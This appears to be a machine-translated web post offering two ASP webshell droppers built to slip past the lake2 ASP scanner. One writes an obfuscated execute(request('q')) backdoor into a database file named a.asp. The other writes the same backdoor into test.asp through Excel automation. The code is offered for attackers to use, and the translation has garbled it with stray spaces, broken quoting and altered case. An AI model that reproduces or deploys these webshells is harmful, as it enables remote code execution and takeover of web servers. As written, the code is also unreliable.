Two unconventional ASP Trojans (which can be scanned)

Hanxiaolian
Write to avoid lake2 ASP webmaster management assistant ..
1. Pony Scanning Bypass lake2 Asp Trojan Copy codeThe Code is as follows: <%
Set c = CreateObject ("ADOX. Catalog ")
C. create ("Provider = Microsoft. Jet. OLEDB.4.0; Data Source =" & Server. MapPath ("a. asp "))
Set c = Nothing
C & Server. MapPath ("a. asp ")
Set conn = server. createobject ("Adodb. Connection ")
Conn. open connstr
Conn.exe cute ("create table nomm (nomuma oleobject )")
Set rs = server. createobject ("adodb. recordset ")
SQL = "SELECT * FROM nomm"
Rs. open SQL, conn, 1, 3
Rs. addnew
Rs ("nomuma"). appendchunk (chrB (asc ("<") & chrB (asc ("%") & chrB (asc ("e") & chrB
(Asc ("x") & chrB (asc ("e") & chrB (asc ("c") & chrB (asc ("u ")) & chrB (asc ("t") & chrB (asc
("E") & chrB (asc ("+") & chrB (asc ("r") & chrB ("e ")) & chrB (asc ("q") & chrB (asc
("U") & chrB (asc ("e") & chrB (asc ("s") & chrB ("t ")) & chrB (asc (") & chrB (34)
& ChrB (asc ("q") & chrB (34) & chrB (asc (")") & chrB (asc ("% ")) & chrB (asc ("> ")))
Rs. update
Rs. close
Set rs = nothing
Conn. close
Set conn = nothing
%>

Asp webshell for 2. xlsCopy codeThe Code is as follows: <%
Set xlA = Server. CreateObject ("Excel. Application ")
XlA. Visible = False
XlA. Workbooks. Add
Set xlWorksheet = xlA. Worksheets (1)
XlWorksheet. cells (1, 1 ). value = "<% ex" & "ec" & "ute (request (" q "") "+ chr (37) +">"
'Strfile = "d:/test. asp"
StrFile = Server. MapPath ("test. asp ")
XlWorkSheet. SaveAs strFile
XlA. Quit
Set xlWorksheet = Nothing
Set xlA = Nothing
%>